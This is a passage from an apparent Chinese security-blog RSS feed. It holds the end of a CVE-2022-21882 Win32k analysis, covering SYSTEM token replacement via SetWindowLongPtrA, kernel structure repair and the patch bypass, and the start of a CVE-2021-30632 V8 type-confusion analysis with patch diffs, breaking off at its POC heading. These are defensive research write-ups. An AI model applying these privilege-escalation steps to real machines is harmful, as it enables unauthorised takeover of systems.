src="https://wechat2rss.xlab.app/img-proxy/?k=2b427a2d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD510oY0lsmQcHNYTpTfHeCfWRVpKu7EUb2vxvhVFLO7gtX2H3t4qBsdGj5LblTRu5SIx54iaZzuK8Q%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">获取到TOKEN地址后，最后再调用两次SetWindowLongPtrA，第一次是将EXP进程的TOKEN地址写入窗口2的tagWNDk2.pExtraBytes内，第二次是将SYSTEM进程的TOKEN写入EXP进程的TOKEN地址内。</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img data-ratio="0.08148148148148149" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="945" src="https://wechat2rss.xlab.app/img-proxy/?k=581d9085&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD510oY0lsmQcHNYTpTfHeCf9foL0aiashibtOE7AOcjcrbCNRbzfd0YpvvHu3Sno7pIadByJ1bnDPLg%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">第一次调用SetWindowLongPtrA</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">windbg调试结果</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-ratio="0.4136191677175284" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="793" src="https://wechat2rss.xlab.app/img-proxy/?k=ddbe5cf8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD510oY0lsmQcHNYTpTfHeCfZee3iabFo9XVry4gkmth0l9heFIJnJUtxELImajiaDkaoJialaK8z1iaKw%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">第二次调用SetWindowLongPtrA，实现TOKEN替换。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">windbg调试结果</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-ratio="0.5346784363177806" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="793" src="https://wechat2rss.xlab.app/img-proxy/?k=657e50ff&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD510oY0lsmQcHNYTpTfHeCf12BEcoZnFQBk7aGASckzY3r8ZrSaKmTv2ujh0kBQDMavWY0JfLicIhw%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">接着就是以SYSTEM权限创建进程</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-ratio="0.2775735294117647" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="544" src="https://wechat2rss.xlab.app/img-proxy/?k=57155458&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD510oY0lsmQcHNYTpTfHeCfMuohIqB3wGSLa8dPYo0gzpTOkibG1eCvMoo9iaj9dODEgKPbbbA8qXNA%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">可以看到，获得了SYSTEM权限</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-ratio="0.7272727272727273" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="693" src="https://wechat2rss.xlab.app/img-proxy/?k=1dfa873b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD510oY0lsmQcHNYTpTfHeCf0ia1j6014ib6oXX10OibVV5KnPTptibibLB8aT1z5JnFkVRjOt7jAn7LEQQ%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">接下来，就开始修复被我们更改过的内核结构体，避免在释放的时候出错，导致蓝屏。</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-ratio="0.3080357142857143" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="1344" src="https://wechat2rss.xlab.app/img-proxy/?k=b4a266e8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD510oY0lsmQcHNYTpTfHeCfrJkv0hdEuUsc2MuBAibCxyec0yjn1SL3alWBrXCvRUH45BO6CdSfv0w%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">修复结构体的流程和更改结构体时基本一致，这里就不再详述，最后修复完成的结果如下图所示。</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-ratio="0.4604715672676838" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="1442" src="https://wechat2rss.xlab.app/img-proxy/?k=fe2a7bf0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD510oY0lsmQcHNYTpTfHeCf4fXUAoMseibiadg1KBTfYWynghkYP8ceYUgcqb5wyQREzHicH4O9BAmxA%2F640%3Fwx_fmt%3Dpng"/></figure><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;font-size: 22px;"><span style="display: none;"></span><span>补充说明</span><span></span></h2><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;"><strong>win32kfull.sys 10.0.19041.1466</strong></p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">通过上面的分析，可以得出如下利用流程</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;"><strong>CVE-2021-1732：</strong></p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/jJSbu4Te5ib9Sb5VNvaCcy9rQwzJM0VG490IdVDvjjk47LFFxoic54fyJJ43xkGoWKlBI0qg6kzqkJGPEvROAZEc7icEuYwWXdz/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(40, 44, 52);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;">win32kfull!xxxCreateWindowEx -&gt;  win32kfull!xxxClientAllocWindowClassExtraBytes -&gt; nt!KeUserModeCallback -&gt; 用户层HOOK函数<br/></code></pre><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;"><strong>CVE-2022-21882：</strong></p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/jJSbu4Te5ib9Sb5VNvaCcy9rQwzJM0VG490IdVDvjjk47LFFxoic54fyJJ43xkGoWKlBI0qg6kzqkJGPEvROAZEc7icEuYwWXdz/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(40, 44, 52);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;">win32kfull!xxxSwitchWndProc -&gt;  win32kfull!xxxClientAllocWindowClassExtraBytes -&gt; nt!KeUserModeCallback -&gt; 用户层HOOK函数<br/></code></pre><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">CVE-2021-1732的补丁打在了xxxCreateWindowEx函数中，但仍然可以通过xxxSwitchWndProc进行利用，导致补丁被绕过。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;"><strong>那对于CVE-2022-21882该如何修复？</strong></p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">如果补丁打在xxxSwitchWndProc，那其实和1732的补丁没什么区别，还是存在绕过风险，例如xxxMenuWindowProc、xxxTooltipWndProc都存在调用xxxClientAllocWindowClassExtraBytes的路径，所以这次微软直接在xxxClientAllocWindowClassExtraBytes上做了修复。当回调返回后，立刻检查tagWNDk.dwExtraFlag，如果dwExtraFlag &amp; 0x800不为0 ，那说明当前的用户层回调可能被HOOK，存在漏洞利用，所以xxxClientAllocWindowClassExtraBytes直接返回错误。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">win32kfull!xxxClientAllocWindowClassExtraBytes</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-ratio="0.3936039360393604" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="813" src="https://wechat2rss.xlab.app/img-proxy/?k=ea8bfe08&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD510oY0lsmQcHNYTpTfHeCfQpja0VSfPoXqqTyHSVxCDj0ZYypiaLHTRAAu7229jHDwO3DyicWbw6sQ%2F640%3Fwx_fmt%3Dpng"/></figure><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;font-size: 22px;"><span style="display: none;"></span><span>参考资料</span><span></span></h2><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">[1] CVE-2022-21882 Win32k 特权提升漏洞</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">[2] CVE-2021-1732 Windows10 本地提权漏洞复现及详细分析</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">[3] Microsoft Windows被在野利用的提权漏洞（CVE-2021-1732）的分析报告</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">[4] CVE-2021-1732: win32kfull xxxCreateWindowEx callback out-of-bounds</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">[5] CVE-2022-21882 分析</p></section><p><br/></p>



<p><a href="2247484657">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=bd90194a&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg2MTY0MDc1Mw%3D%3D%26mid%3D2247484657%26idx%3D1%26sn%3D443cc87db48e8828c4768e32f5ac3ad4%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Tue, 15 Mar 2022 20:44:00 +0800</pubDate>
    </item>
    <item>
      <title>CVE-2021-30632 V8引擎漏洞分析</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg2MTY0MDc1Mw==&amp;mid=2247484581&amp;idx=1&amp;sn=3f216284bc74286c3432ecc4d7a6aa52</link>
      <description>简介CVE-2021-30632是V8引擎的类型混淆漏洞。攻击者可通过构造JIT code</description>
      <content:encoded><![CDATA[<p>
原创 <span>climboop</span> <span>2022-03-04 19:55</span> <span style="display: inline-block;"></span>
</p>

<p>简介CVE-2021-30632是V8引擎的类型混淆漏洞。攻击者可通过构造JIT code</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=a80b3e0a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2F3pMKYkVJQD6sreM32aljicAYicEeicUWBMbQAeNG7vhragk2uu1sEnUBJpuQtHbEReXzVZiaVmDTictaC4uDYWE2czQ%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<section data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="font-size: 16px;color: black;padding-right: 10px;padding-left: 10px;line-height: 1.6;letter-spacing: 0px;word-break: break-word;overflow-wrap: break-word;text-align: left;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;font-size: 22px;">简介</h2><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">CVE-2021-30632是V8引擎的类型混淆漏洞。攻击者可通过构造JIT code，向一个PropertyCellType为kConstantType且拥有unstable map的<strong>全局变量</strong>写入新值，造成类型混淆。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;"><strong>Bug class</strong>: Type confusion<br/><strong>ffected Versions</strong>: pre 93.0.4577.82<br/><strong>First Patched Version</strong>: 93.0.4577.82<br/><strong>Issue/Bug Report</strong>: <a href="https://bugs.chromium.org/p/chromium/issues/detail?id=1247763" target="_blank">https://bugs.chromium.org/p/chromium/issues/detail?id=1247763</a></p><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;font-size: 22px;"><span style="display: none;"></span>前置知识</h2><ul data-tool="mdnice编辑器" style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;" class="list-paddingleft-2"><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">stable / unstable map and map transition</section></li><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">PropertyCellType</section></li><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">compilation dependencies</section></li><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">(JIT)lowering</section></li></ul><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;font-size: 20px;"><span style="display: none;"></span>PropertyCellType<span style="display: none;"></span></h3><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">全局变量可以理解为<em>全局对象(global object)<em>的</em>属性(Property)<em>，v8维护了一些</em>metadata</em>用于优化。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">property_cell_type represents various states of the PropertyCell</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">PropertyCell保存了属性相关信息，包括属性的名字、值、<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">property details</code> 和 <code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">cell_type</code><br/>其中cell_type(即<em>PropertyCellType</em>)记录了该属性被赋值的情况。从代码注释可看出<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">kConstantType</code>意为该属性目前只被同一种类型的值赋值。</p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/jJSbu4Te5ib9Sb5VNvaCcy1XwDRGgQ0cgP5f5WBajtRDbB84Ff1vzxpghLgCPttdUwwic1CZ85YJZx8dBce3OtNhLJ7RLqicjjM/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(40, 44, 52);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span style="color: #5c6370;font-style: italic;line-height: 26px;">// A PropertyCell&#39;s property details contains a cell type that is meaningful if</span><br/><span style="color: #5c6370;font-style: italic;line-height: 26px;">// the cell is still valid (does not hold the hole).</span><br/><span style="color: #c678dd;line-height: 26px;">enum</span> <span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;">class</span> <span style="color: #e6c07b;line-height: 26px;">PropertyCellType</span> {</span><br/>  kMutable,       <span style="color: #5c6370;font-style: italic;line-height: 26px;">// Cell will no longer be tracked as constant.</span><br/>  kUndefined,     <span style="color: #5c6370;font-style: italic;line-height: 26px;">// The PREMONOMORPHIC of property cells.</span><br/>  kConstant,      <span style="color: #5c6370;font-style: italic;line-height: 26px;">// Cell has been assigned only once.</span><br/>  kConstantType,  <span style="color: #5c6370;font-style: italic;line-height: 26px;">// Cell has been assigned only one type.</span><br/>  <span style="color: #5c6370;font-style: italic;line-height: 26px;">// Value for dictionaries not holding cells, must be 0:</span><br/>  kNoCell = kMutable,<br/>};<br/></code></pre><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">通常情况下对一个属性赋值时会调用<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">PropertyCell::UpdatedType</code>来更新<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">PropertyCellType</code>，这种赋值方式可以称为*通用路径(generic path)*。</p><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;font-size: 22px;"><span style="display: none;"></span>PATCH</h2><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">我认为，漏洞出现原因是 kConstantType 字面语义与其实际作用不完全一致，开发者在JIT优化阶段认为它可以为对象类型做担保。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">一个对象多次赋值，且每次赋值map不变，PropertyCell type为kConstantType ，<strong>但kConstantType并不能为map做担保。通过添加属性我们可以轻易地改变一个对象的map，并且PropertyCell type仍然维持kConstanType</strong>。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">而漏洞版本中JIT代码认为PropertyCell type为 <strong>kConstantType</strong> 的对象，且持有一个 <strong>unstable map</strong> 时写入一个新的值（map与假设一致）是安全的。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">patch内容 js-native-context-specialization.cc - diff</p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/jJSbu4Te5ib9Sb5VNvaCcy1XwDRGgQ0cgP5f5WBajtRDbB84Ff1vzxpghLgCPttdUwwic1CZ85YJZx8dBce3OtNhLJ7RLqicjjM/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(40, 44, 52);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span style="color: #61aeee;line-height: 26px;">@@ -804,6 +804,12 @@</span><br/>       return NoChange();<br/>     } else if (property_cell_type == PropertyCellType::kUndefined) {<br/>       return NoChange();<br/><span style="color: #98c379;line-height: 26px;">+    } else if (property_cell_type == PropertyCellType::kConstantType) {</span><br/><span style="color: #98c379;line-height: 26px;">+      // We rely on stability further below.</span><br/><span style="color: #98c379;line-height: 26px;">+      if (property_cell_value.IsHeapObject() &amp;&amp;</span><br/><span style="color: #98c379;line-height: 26px;">+          !property_cell_value.AsHeapObject().map().is_stable()) {</span><br/><span style="color: #98c379;line-height: 26px;">+        return NoChange();</span><br/><span style="color: #98c379;line-height: 26px;">+      }</span><br/>     }<br/>   } else if (access_mode == AccessMode::kHas) {<br/>     DCHECK_EQ(receiver, lookup_start_object);<br/><span style="color: #61aeee;line-height: 26px;">@@ -922,17 +928,7 @@</span><br/>         if (property_cell_value.IsHeapObject()) {<br/>           MapRef property_cell_value_map =<br/>               property_cell_value.AsHeapObject().map();<br/><span style="color: #e06c75;line-height: 26px;">-          if (property_cell_value_map.is_stable()) {</span><br/><span style="color: #e06c75;line-height: 26px;">-            dependencies()-&gt;DependOnStableMap(property_cell_value_map);</span><br/><span style="color: #e06c75;line-height: 26px;">-          } else {</span><br/><span style="color: #e06c75;line-height: 26px;">-            // The value&#39;s map is already unstable. If this store were to go</span><br/><span style="color: #e06c75;line-height: 26px;">-            // through the C++ runtime, it would transition the PropertyCell to</span><br/><span style="color: #e06c75;line-height: 26px;">-            // kMutable. We don&#39;t want to change the cell type from generated</span><br/><span style="color: #e06c75;line-height: 26px;">-            // code (to simplify concurrent heap access), however, so we keep</span><br/><span style="color: #e06c75;line-height: 26px;">-            // it as kConstantType and do the store anyways (if the new value&#39;s</span><br/><span style="color: #e06c75;line-height: 26px;">-            // map matches). This is safe because it merely prolongs the limbo</span><br/><span style="color: #e06c75;line-height: 26px;">-            // state that we are in already.</span><br/><span style="color: #e06c75;line-height: 26px;">-          }</span><br/><span style="color: #98c379;line-height: 26px;">+          dependencies()-&gt;DependOnStableMap(property_cell_value_map);</span><br/> <br/>           // Check that the {value} is a HeapObject.<br/>           value = effect = graph()-&gt;NewNode(simplified()-&gt;CheckHeapObject(),<br/></code></pre><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">改动的部分为 <code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">JSNativeContextSpecialization::ReduceGlobalAccess</code> 函数</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">在第一处增加了检查，当<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">property_cell_type</code>为<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">KConstantType</code>，若值为堆对象且持有的map不为<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">stable map</code>则直接返回。<br/>JSNativeContextSpecialization::ReduceGlobalAccess 提前返回直接导致的后果是JSStoreGlobal在Inlining阶段中没有被lowering。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">从第二处的改动可以看出，在kConstantType的情况下，会设置DependOnGlobalProperty，且patch后无论对象的map是否为stable都会设置DependOnStableMap。以下是关键代码。</p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/jJSbu4Te5ib9Sb5VNvaCcy1XwDRGgQ0cgP5f5WBajtRDbB84Ff1vzxpghLgCPttdUwwic1CZ85YJZx8dBce3OtNhLJ7RLqicjjM/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(40, 44, 52);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span style="color: #c678dd;line-height: 26px;">switch</span> (property_details.cell_type()) {<br/>  ...<br/>  <span style="color: #c678dd;line-height: 26px;">case</span> PropertyCellType::kConstantType: {<br/>    <span style="color: #5c6370;font-style: italic;line-height: 26px;">// Record a code dependency on the cell, and just deoptimize if the new</span><br/>    <span style="color: #5c6370;font-style: italic;line-height: 26px;">// value&#39;s type doesn&#39;t match the type of the previous value in the</span><br/>    <span style="color: #5c6370;font-style: italic;line-height: 26px;">// cell.</span><br/>    dependencies()-&gt;DependOnGlobalProperty(property_cell);    <span style="color: #5c6370;font-style: italic;line-height: 26px;">// &lt;------------ DependOnGlobalProperty</span><br/>    Type property_cell_value_type;<br/>    MachineRepresentation representation = MachineRepresentation::kTagged;<br/>    <span style="color: #c678dd;line-height: 26px;">if</span> (property_cell_value.IsHeapObject()) {<br/>      MapRef property_cell_value_map =<br/>          property_cell_value.AsHeapObject().<span style="color: #e6c07b;line-height: 26px;">map</span>();<br/>      dependencies()-&gt;DependOnStableMap(property_cell_value_map);    <span style="color: #5c6370;font-style: italic;line-height: 26px;">// &lt;------------ DependOnStableMap</span><br/> <br/>      <span style="color: #5c6370;font-style: italic;line-height: 26px;">// Check that the {value} is a HeapObject.</span><br/>      value = effect = graph()-&gt;NewNode(simplified()-&gt;CheckHeapObject(),<br/>                                        value, effect, control);<br/>      <span style="color: #5c6370;font-style: italic;line-height: 26px;">// Check {value} map against the {property_cell_value} map.</span><br/>      effect = graph()-&gt;NewNode(<br/>          simplified()-&gt;CheckMaps(<br/>              CheckMapsFlag::kNone,<br/>              ZoneHandleSet&lt;Map&gt;(property_cell_value_map.object())),<br/>          value, effect, control);<br/>       ...<br/>     <span style="color: #c678dd;line-height: 26px;">break</span>;<br/>  }<br/></code></pre><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;font-size: 22px;"><span style="display: none;"></span>触发漏洞</h2><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">至此，针对 (cell_type) kConstantType 我们已经了解：</p><ol data-tool="mdnice编辑器" style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;" class="list-paddingleft-2"><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">reassignment 才会更新 cell_type。</section></li><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">不进行reassignment，仅仅添加一个新属性，我们可以很轻易地改变对象的map。</section></li></ol><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">所以即使cell_type维持ConstantType，也无法保证对象的map不变。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;"><strong>ConstantType的字面意思看起来是“不变的类型”，但实际上它并不能保证对象的map不发生变化。</strong></p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">漏洞位于JSNativeContextSpecialization::ReduceGlobalAccess函数，这个函数在turbofan优化中的inlining阶段被调用。</p><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;font-size: 20px;"><span style="display: none;"></span>POC<span style="display: none;"></span></h3><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: 